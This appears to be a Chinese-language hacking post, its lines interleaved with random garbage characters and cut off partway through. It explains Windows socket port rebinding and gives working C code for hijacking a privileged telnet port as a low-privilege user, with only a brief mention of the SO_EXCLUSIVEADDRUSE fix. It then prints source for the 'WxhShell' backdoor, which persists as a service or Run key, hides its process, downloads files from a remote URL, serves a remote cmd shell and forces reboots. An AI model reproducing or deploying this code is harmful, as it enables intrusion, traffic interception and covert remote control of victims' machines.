在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5cSiV7#Y: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
@Jt$92i5PS |23F@s1 saddr.sin_family = AF_INET;
wi(Y=?= ]vrZGX
a+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ER0
Yl du65=w4E! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
?OD$`{1 ]#tB[G 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!3Q0Ahf Y.^L^ "%dF 这意味着什么?意味着可以进行如下的攻击:
p|>*M\LE# +8Xjk\Hi 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
S?J!.( 0w?da~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
M4^G3c< q<3nAE$?= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
CM6% g f3 144Y. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
AdX))xgl tOwn M1
:( 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
!_QI<=X f|[7LIdh- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
l;?:}\sI= i:lc]B 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
A8{jEJ=)P ZmA}i`
#include
7?P'f3)fG #include
dwO fEYC #include
uD\R3cY #include
crmQn ^4\ DWORD WINAPI ClientThread(LPVOID lpParam);
W .a>K$ int main()
byHc0ktI\ {
i3-5~@M WORD wVersionRequested;
)aS:h}zn DWORD ret;
19 5_1?'< WSADATA wsaData;
ot0teNF BOOL val;
_4{0He`q SOCKADDR_IN saddr;
&l(T},-X SOCKADDR_IN scaddr;
0.MB;gm: int err;
eG=d)`.JaV SOCKET s;
7 N}@zPAZ SOCKET sc;
xfk
-Ezv int caddsize;
}$ y.qqG HANDLE mt;
E=NjWO DWORD tid;
~q>jXi wVersionRequested = MAKEWORD( 2, 2 );
d$ouH%^cGu err = WSAStartup( wVersionRequested, &wsaData );
NdK`-RT if ( err != 0 ) {
V@'Xj .ze printf("error!WSAStartup failed!\n");
Agcss20. return -1;
35h|?eN_m! }
1+%UZK= K saddr.sin_family = AF_INET;
z#{Y>.b &4Z8df! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
R
iZ)FW kQ\GVI11? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#2=l\y-# saddr.sin_port = htons(23);
-Jv,#Z3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3.Fko<D4jD {
D+T/ Z) printf("error!socket failed!\n");
P~7(x7/7~ return -1;
qlhc"}5x } }
2dts}G val = TRUE;
VL#:oyWA //SO_REUSEADDR选项就是可以实现端口重绑定的
c |0p'EQ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
; _%zf5;' {
aB%.]bi printf("error!setsockopt failed!\n");
l;M,=ctB( return -1;
3.movkj }
lDS y$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
2Z; !N37U //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
5;`Ot2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
/qdv zv%T RHsVG &<j if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
FQek+[ox {
A &}]:4@{ ret=GetLastError();
1 |z4]R,< printf("error!bind failed!\n");
le:}MM return -1;
EH".ki=e }
:ok.[q listen(s,2);
G[}v?RLI while(1)
QRQ{Bq}# {
bI.hG32 caddsize = sizeof(scaddr);
&5}YTKe}| //接受连接请求
1_7p`Gxt[/ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
rDl/R^w" if(sc!=INVALID_SOCKET)
+B{u,xgg {
"Lvk?k
)hx mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
q:_:E*o if(mt==NULL)
0 Rb3|te {
D)MFii1J~ printf("Thread Creat Failed!\n");
0}GO$%l break;
K0>;4E>B }
G!%m~+", }
pZ Uy ( CloseHandle(mt);
Fs>MFj }
9q ]f]S.L closesocket(s);
U_jW5mgsG WSACleanup();
tOXyle~C return 0;
e@c8Ce|0 }
/$93#$ DWORD WINAPI ClientThread(LPVOID lpParam)
p$F`9_bZ {
!" FEp SOCKET ss = (SOCKET)lpParam;
SN|!FW.*: SOCKET sc;
vJr,lBHEk unsigned char buf[4096];
-Tvnd, SOCKADDR_IN saddr;
|Ja5O long num;
qo:Zc`t(R DWORD val;
{^
BZ#)m| DWORD ret;
zEjl@Kf //如果是隐藏端口应用的话,可以在此处加一些判断
ys!O"=OJ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Dhm;K$T saddr.sin_family = AF_INET;
4~Q<LEly saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
b+Sj\3fX saddr.sin_port = htons(23);
ql%K+4@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i=5!taxu}E {
krGIE}5 printf("error!socket failed!\n");
`?T::&` return -1;
YS4"TOFw }
Q?hf2iw val = 100;
%#fjtbeB if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
aQH]hLvs {
A|Ft:_Y ret = GetLastError();
ZYY`f/qi return -1;
qAp<OJ }
};rEN`L if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gWro])3 {
m,+E5^ ret = GetLastError();
K}q5,P( return -1;
},<Y
\
}
ZC$u8$+P if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
n[BYBg1yG {
lB_4jc printf("error!socket connect failed!\n");
nzO-\`40 closesocket(sc);
Mg0ai6KD closesocket(ss);
-^np"Jk return -1;
Rxw+`ru }
@WXRZEz while(1)
R,7.o4Wt {
e`B!)Sr //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
J*ofa> //如果是嗅探内容的话,可以再此处进行内容分析和记录
S>[&] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
eH;{Ln num = recv(ss,buf,4096,0);
}y|_v^ if(num>0)
M VE:JNm send(sc,buf,num,0);
lo7>$`Q else if(num==0)
n2opy8J#! break;
Z1\=d = num = recv(sc,buf,4096,0);
*Xu?(Jd if(num>0)
Fp+fZU send(ss,buf,num,0);
f 0/q{* else if(num==0)
AB.ZmR9| break;
oC TSV }
oJc v D closesocket(ss);
/7R0w closesocket(sc);
G Mg|#DV return 0 ;
5n=~l[O }
YQ-V^e6 qwuA[QkPi !imjfkG ==========================================================
{>yy3(N E**Hu 9 下边附上一个代码,,WXhSHELL
g|{Ru na|23jz4 ==========================================================
!$0ozDmD Zu ![v0 #include "stdafx.h"
kI~;'M Zx|VOl,; #include <stdio.h>
{u$<-W-& #include <string.h>
jrO{A3<E #include <windows.h>
XTq+ 9 #include <winsock2.h>
iB*1Yy0DC #include <winsvc.h>
9d+z?J: #include <urlmon.h>
~#:R1~rh\e ^Zq3K #pragma comment (lib, "Ws2_32.lib")
`G>BvS5h #pragma comment (lib, "urlmon.lib")
VBg
M7d f!}e*oX #define MAX_USER 100 // 最大客户端连接数
eq4Yc*|9 #define BUF_SOCK 200 // sock buffer
_^NL{R/ #define KEY_BUFF 255 // 输入 buffer
;/(<yu48 O<+x=>_ #define REBOOT 0 // 重启
$_u)~O4$ #define SHUTDOWN 1 // 关机
4^K<RSYs 7HQ|3rt #define DEF_PORT 5000 // 监听端口
L@~0`z:>iP 3Ebkq[/*% #define REG_LEN 16 // 注册表键长度
%H7H0%qW #define SVC_LEN 80 // NT服务名长度
6hf6Z3 ,M9Hdm // 从dll定义API
cD9axlJ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
'z x1kq1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
hWiBLip,z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
iR{*XE
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
w*IDL0# -h#9sl-> // wxhshell配置信息
LVNJlRK struct WSCFG {
>?^_JEC6 int ws_port; // 监听端口
c~n:xblv char ws_passstr[REG_LEN]; // 口令
hdy
N
int ws_autoins; // 安装标记, 1=yes 0=no
Bpdx]5qfK char ws_regname[REG_LEN]; // 注册表键名
fqD1Ej char ws_svcname[REG_LEN]; // 服务名
? VHOh9|AT char ws_svcdisp[SVC_LEN]; // 服务显示名
Nr0}*8#j char ws_svcdesc[SVC_LEN]; // 服务描述信息
p7]V1w : char ws_passmsg[SVC_LEN]; // 密码输入提示信息
7Ezy-x2h int ws_downexe; // 下载执行标记, 1=yes 0=no
~cW,B} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
qku!Mg char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Wt9'-"c nQ^ c{Bm: };
$g]'$PB y[I)hSD= // default Wxhshell configuration
pcO0xrI struct WSCFG wscfg={DEF_PORT,
nY 50dFA, "xuhuanlingzhe",
}^n346^ 1,
gSXidh}^ "Wxhshell",
okQ<_1e{ "Wxhshell",
(2p<I)t "WxhShell Service",
:6y;U "Wrsky Windows CmdShell Service",
Q*8=^[x "Please Input Your Password: ",
}(Dt,F` 1,
>sm<$'vZ/ "
http://www.wrsky.com/wxhshell.exe",
s|o+
Im "Wxhshell.exe"
p2uZ*sY(D };
[vyi_0[ `w#p8vR // 消息定义模块
/zZ";4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=p7eP char *msg_ws_prompt="\n\r? for help\n\r#>";
db0]D\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
C`r{B.t`GT char *msg_ws_ext="\n\rExit.";
bz\-%$^k char *msg_ws_end="\n\rQuit.";
RGV}c# char *msg_ws_boot="\n\rReboot...";
0`%Ask char *msg_ws_poff="\n\rShutdown...";
CKr5L char *msg_ws_down="\n\rSave to ";
|++\"g %e%VHHO| char *msg_ws_err="\n\rErr!";
PQA}_o char *msg_ws_ok="\n\rOK!";
9KGi%UIFvn !pAb+6~T char ExeFile[MAX_PATH];
t @vb3 int nUser = 0;
b_rHt
s HANDLE handles[MAX_USER];
(hFyp}jkk int OsIsNt;
*dmS'/ RgTrj SERVICE_STATUS serviceStatus;
d}--}&r SERVICE_STATUS_HANDLE hServiceStatusHandle;
t?;\' 8m"jd+ // 函数声明
<%GfF![v int Install(void);
uwo\FI int Uninstall(void);
gjDxgNpa int DownloadFile(char *sURL, SOCKET wsh);
\_8.\o"@*# int Boot(int flag);
=Cg1I\ void HideProc(void);
lXOT>$qR< int GetOsVer(void);
Zj5B}[,l\ int Wxhshell(SOCKET wsl);
c4Wl^E8 void TalkWithClient(void *cs);
E)z=85;_p int CmdShell(SOCKET sock);
35/K9l5 int StartFromService(void);
Td,s"p>Vq int StartWxhshell(LPSTR lpCmdLine);
fF]w[lLDv Y=\:fa VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
C q)Cwc[H VOID WINAPI NTServiceHandler( DWORD fdwControl );
UWo*%&J Eu|O<9U\ // 数据结构和表定义
Wf:LYL SERVICE_TABLE_ENTRY DispatchTable[] =
B&>z&!} {
r<c&;* {wscfg.ws_svcname, NTServiceMain},
vtF|:*h {NULL, NULL}
E(g$f.9 };
iOJ5KXrAO @RXkj-,eC# // 自我安装
L25%KGg'o int Install(void)
K7c[bhi_w {
E4,
J"T|@ char svExeFile[MAX_PATH];
TX).*%f[r HKEY key;
a4\j.(w)$D strcpy(svExeFile,ExeFile);
W[<ZI>mf _o7t| pl~ // 如果是win9x系统,修改注册表设为自启动
RmRPR<vGW if(!OsIsNt) {
qPoN 8>. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D`R~d;U~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
r1[c+Hy RegCloseKey(key);
IxaF*4JG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
DIw9ov>k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
WS//0 RegCloseKey(key);
DM,)nh6' return 0;
:}z`4S@b }
2p~}<B }
@Yn+ir0>O }
U^8S@#1Q else {
L%jIU<?Z7 gY!?JZC-0 // 如果是NT以上系统,安装为系统服务
}0,dG4Oo= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
3~1Gts if (schSCManager!=0)
mDx=n.lIz {
1gQ_76Yck SC_HANDLE schService = CreateService
;Z); k`j (
{gh<SZsE schSCManager,
R@){=8%z wscfg.ws_svcname,
|A\o wscfg.ws_svcdisp,
+;-ZU SERVICE_ALL_ACCESS,
Z/czAr@4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&Ufp8[ SERVICE_AUTO_START,
}bSDhMV; SERVICE_ERROR_NORMAL,
05:?5M4}; svExeFile,
3CH>!QOA NULL,
\)?+6D'# NULL,
(D:-p:q. NULL,
}Ogb|8 NULL,
'{-Ic?F<P NULL
e+V8I&% );
C^;>HAK|F if (schService!=0)
QQHQ3\ {
70'gVCb CloseServiceHandle(schService);
Zrp-Hv27,, CloseServiceHandle(schSCManager);
CF
3V)3} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
C`R<55x6 strcat(svExeFile,wscfg.ws_svcname);
\t5_V)P if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
!C h1q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ik#Wlz`4 RegCloseKey(key);
"7'P Lo3O return 0;
zk"8mTg }
KK6fRtKv>q }
li,rPUCt CloseServiceHandle(schSCManager);
plp-[eKcD }
8t. QFze? }
I$MlIz$l v ^`B;SSV return 1;
}%z%}V@(& }
\|6VGh \Z S~hu(x# // 自我卸载
C
fM[<w
int Uninstall(void)
DVVyWn[ {
[uK{``" HKEY key;
+*Z'oC BJ, 9K#3JyW* if(!OsIsNt) {
rwVp}H G
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
m[KmXPFht1 RegDeleteValue(key,wscfg.ws_regname);
nmts% u RegCloseKey(key);
#]6{>n1*+w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
J8i,[,KcE RegDeleteValue(key,wscfg.ws_regname);
Mm(#N/ RegCloseKey(key);
Ix}6%2\ return 0;
Fi67 "*gE }
A*wf:
mW0c }
\PUJD,9H }
[61*/=gWe else {
HFI0\*xn( 92t.@!m` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
KX]!yA if (schSCManager!=0)
8I *N {
}{VOy PG SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
I8j:{*h if (schService!=0)
PkI+z_ {
Ei):\,Nv if(DeleteService(schService)!=0) {
&e@)yVLL CloseServiceHandle(schService);
g27'il CloseServiceHandle(schSCManager);
(/N&_r4x return 0;
"I)zi]vk }
g+4y^x(X@1 CloseServiceHandle(schService);
~^V&n`*7D }
TKv!wKI CloseServiceHandle(schSCManager);
<y] 67:"<v }
CDRbYO }
/De~K+w7o No} U[u.O return 1;
sqtz^K ROM }
#$-E5R;x "mf$E| // 从指定url下载文件
ro\oL int DownloadFile(char *sURL, SOCKET wsh)
>e>3:~&2 {
26rg-?;V^ HRESULT hr;
UGI<V! char seps[]= "/";
P .m@|w&.K char *token;
1wKXOy=v0 char *file;
~qrSHn}+PU char myURL[MAX_PATH];
`.@sux!lu char myFILE[MAX_PATH];
+h4W<YnW 3WJk04r strcpy(myURL,sURL);
TXmS$q
token=strtok(myURL,seps);
W&*&O,c while(token!=NULL)
Z|uvrFa {
{:K_=IRZ file=token;
oNAnJ+_ token=strtok(NULL,seps);
dA~:L`A|X }
],pB:= &sWr)>vs GetCurrentDirectory(MAX_PATH,myFILE);
gmRc4o strcat(myFILE, "\\");
UxTLr-db^ strcat(myFILE, file);
N3|:MMl send(wsh,myFILE,strlen(myFILE),0);
lx%c&~.DiB send(wsh,"...",3,0);
II=`=H{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
sv%X8 if(hr==S_OK)
`Npa/Q return 0;
B>^6tdz else
mvEhP{w return 1;
A-CU%G9 CUI3^;&S }
?ZlXh51 l#KcmOz // 系统电源模块
G;G*!nlWf int Boot(int flag)
o+E~iCu5 {
gT+g@\u[ HANDLE hToken;
Sv n7.Ivep TOKEN_PRIVILEGES tkp;
d&FXndC4F Jw;~ $ if(OsIsNt) {
AOR?2u OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"/Qz?1>l+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
|IcW7( tkp.PrivilegeCount = 1;
f1 x&Fk tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
*(OG+OkC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
ttsR`R1.k if(flag==REBOOT) {
U6M~N0)Yr if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3CoZ2 return 0;
^5sA*%T4 }
mAW.p=; else {
9p W~Gz if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
j&d5tgLB return 0;
m)tu~neM }
O+}py{ st }
> <YU'>% else {
C
t,p if(flag==REBOOT) {
{cXr!N^K if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
)UKX\nD"0 return 0;
9eMle?pF }
{rKC4: else {
BDI|z/~& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
zXY8:+f return 0;
xb,d,(^ ]R }
Z =+Z96 }
fqgp{(`@> k[r^@| return 1;
Q@W/~~N }
~[ufL25K a^R?w|zCX // win9x进程隐藏模块
ZxF`i>/h void HideProc(void)
<fUo@]Lv
{
1h$?, Nz
dN4+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
#Z%"
?RJ if ( hKernel != NULL )
ix!xLm9\ {
xi5"?*&Sb pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
<s9{o
uZ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
7f>=-sv FreeLibrary(hKernel);
[neuwdN }
LikcW# =
lo.LFV return;
E 2nz }
mLhM_= [dJ!JT/X{ // 获取操作系统版本
>d + }$dB int GetOsVer(void)
NM3;l}Y8 {
h4;kjr}h} OSVERSIONINFO winfo;
,H]%4@]|o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
sO.MUj; GetVersionEx(&winfo);
FIq'W:q: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
"_WN[jm return 1;
z<%P" else
EvT$|#FY return 0;
n5}]C{s' }
m}"Hm(,6 Sm'Tz&! // 客户端句柄模块
hYJzF.DW<$ int Wxhshell(SOCKET wsl)
_C !i(z!d {
sYKx3[ V/ SOCKET wsh;
tsb[=W!Ar8 struct sockaddr_in client;
*ID=X!v DWORD myID;
%Ig$: I(o 6v)TCj/ while(nUser<MAX_USER)
rW?WdEg {
s=8H<'l int nSize=sizeof(client);
H*W>v[> wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
!ho^:}m if(wsh==INVALID_SOCKET) return 1;
dFz"wvu` o tguB@,O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
$_.t'8F if(handles[nUser]==0)
'/>Mr!H# closesocket(wsh);
uxfh?gsL else
xi (@\A nUser++;
]1
f^ SxSI }
;.}L#'0j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
YC6T0m !Tnjha* return 0;
tq
L(H25z }
D[$"nc/ !ku}vTe // 关闭 socket
=KPmZ ,/w void CloseIt(SOCKET wsh)
VX)8pV$ {
Nv5^2^Sc= closesocket(wsh);
07 LyB\l~ nUser--;
j,YrM?Xdo ExitThread(0);
f{9+,z }
$ f:uBhM L( 6b2{" // 客户端请求句柄
YSnh2 Bq void TalkWithClient(void *cs)
%2 r~ {
A?YYR%o%' K,S4 SOCKET wsh=(SOCKET)cs;
=R5W
KX char pwd[SVC_LEN];
C*Q7@+& char cmd[KEY_BUFF];
mEY#QN[eq char chr[1];
s#$t!F??9 int i,j;
FvsVfV U ZKi&f,:
while (nUser < MAX_USER) {
vj?{={Y <'\Nv._2a if(wscfg.ws_passstr) {
x;vfmgty if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/?81Ypt //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
?b_E\8'q] //ZeroMemory(pwd,KEY_BUFF);
WuK<?1meN i=0;
Iy)1(upM while(i<SVC_LEN) {
uda++^y: <#0i*PM_ // 设置超时
8^_:9&) i fd_set FdRead;
J4qk^1m. struct timeval TimeOut;
\;7U:Y$v FD_ZERO(&FdRead);
P>_O :xD FD_SET(wsh,&FdRead);
g9C;JmU TimeOut.tv_sec=8;
gJ l^K TimeOut.tv_usec=0;
"%T~d[M int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
S.MRL, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
X;LYGJ{Xk C^q|(G) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
bidFBldKl pwd
=chr[0]; AE~zmtW
if(chr[0]==0xd || chr[0]==0xa) { #IH9S5B [
pwd=0; x(c+~4:_M
break; o@A`AA9
} Y1cL dQn
i++; :'DX
M{
} EC,,l'%a|/
_`gF%$]b
// 如果是非法用户,关闭 socket QN8+Uj/zx
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U)dcemQY
} hp -|a
i&DbZ=n2
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [FhYQI
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J@>|`9T9$
#JYl%=#,
while(1) { _sy{rnaqvb
Pz50etJ
ZeroMemory(cmd,KEY_BUFF); ~2*LWH*@
)Q1aAS3
// 自动支持客户端 telnet标准 ]fb@>1
jp
j=0; =*fq5v
while(j<KEY_BUFF) { ]2u
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ";U~wZW_
cmd[j]=chr[0]; !$98U~L
if(chr[0]==0xa || chr[0]==0xd) { -+ F,L8
cmd[j]=0; )i /w:g>
break; 7bYwh8
} tHzgZoBz
j++; OK4r)
} [ as,AX
W9l](Ow
// 下载文件 9{(q[C5m
if(strstr(cmd,"http://")) { zgFL/a<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6!i`\>I]
if(DownloadFile(cmd,wsh))
/- Gq`9Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2lfEJw($
else $mK;{9Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bB0/FiY7o
} gjsks(x
else { xjBY6Ylz
.S:(O+#Gm
switch(cmd[0]) { {_tq6ja-<
:YLs]JI<
// 帮助 pIR_2Eq
case '?': { yVVyWte,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nYyKz
Rz
break; T0A=vh;S
} e
6wevK\
// 安装 8'E7Uj
case 'i': { !L+b{
if(Install()) nKd'5f1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fhn$~8[_A
else l`#rhuy`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xjD$i'V+
break; 4-HBXG9#/
} !d 4DTo
// 卸载 DI(X B6
case 'r': { N[-$*F,:_
if(Uninstall()) Eve,*ATI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @r<2]RXlc
else +9]t]Vrw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '_Q';T_n99
break; qOmL\'8
} QeT~s5 H
// 显示 wxhshell 所在路径 cjtcEW
case 'p': { HoX={^aG%
char svExeFile[MAX_PATH]; 6i+AJCkC
strcpy(svExeFile,"\n\r"); E3{kH
7_'\
strcat(svExeFile,ExeFile); 'b" 7Lzp2
send(wsh,svExeFile,strlen(svExeFile),0); &hZ.K"@7{
break; ]N\D^`iQ
} A.yIl`'UP#
// 重启 bz 7?F!
case 'b': { ^N^s|c'
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'ahz@+lO
if(Boot(REBOOT)) 5{ !"}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &*8.%qe;
else { f fI=Bt]t
closesocket(wsh); ^} Y}Iz
ExitThread(0); d~6UJ=]@8
} M%$ITE
break; Id8MXdV
} ;P}007;
// 关机 ,*9gy$
case 'd': { eVX/<9>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [5!{>L`
if(Boot(SHUTDOWN)) YuHXm3[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [_ uT+q3
else { A!^r9 ?<
closesocket(wsh); M17+F?27M
ExitThread(0); zFDtC-GF
} X,lhVT
|
break; OaT]2o
} *aFh*-Sj2I
// 获取shell I!(BwYd
case 's': { 2[1t
)EW
CmdShell(wsh); hhWy-fP#
closesocket(wsh); )p#L "r^)
ExitThread(0); b&Laxki
break; ePR9r}
} A@Zqh<,Ud
// 退出 $Fi1Bv)
case 'x': { ;;C2t&(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P;K3T![
CloseIt(wsh); cdGBo4
break; $*:$-
} Yi[MoYe/K
// 离开 g HxR w
case 'q': { {61Y;
send(wsh,msg_ws_end,strlen(msg_ws_end),0); e7-IqQA{3C
closesocket(wsh); 0`v-pL0|
WSACleanup(); '-X O;{,-R
exit(1); .r-Zz3
break; bVa?yWb.
} @w(|d<5l:L
} ^B}q@/KV
} &v;o }Q}E{
$-jj%kS
// 提示信息 M} ri>o
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K3WaBcm
} Akws I@@
} `|v/qk7
^?
+%WW8OX
return; 8X278^
#
} x&+&)d
@SaxM4
// shell模块句柄 9KJ}Ai
int CmdShell(SOCKET sock) 5:5d=7WX
{ 9HPwl
STARTUPINFO si; i]4n YYS
ZeroMemory(&si,sizeof(si)); C(8!("tU
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IDpx_
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =1VZcLNt
PROCESS_INFORMATION ProcessInfo; f#7=N{wm
char cmdline[]="cmd"; Lp4F1H2t-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zuFPG{^\#
return 0; 9`"#OQPn1
} ZSD7%gE<D
~v:IgS
// 自身启动模式 z!.cc6R
int StartFromService(void) K_:2sDCaN
{ Y7I\<JG<
typedef struct P3Vh|<'7
{ OQKc_z'"
DWORD ExitStatus; G+k wG)K
DWORD PebBaseAddress; Z#^|h0
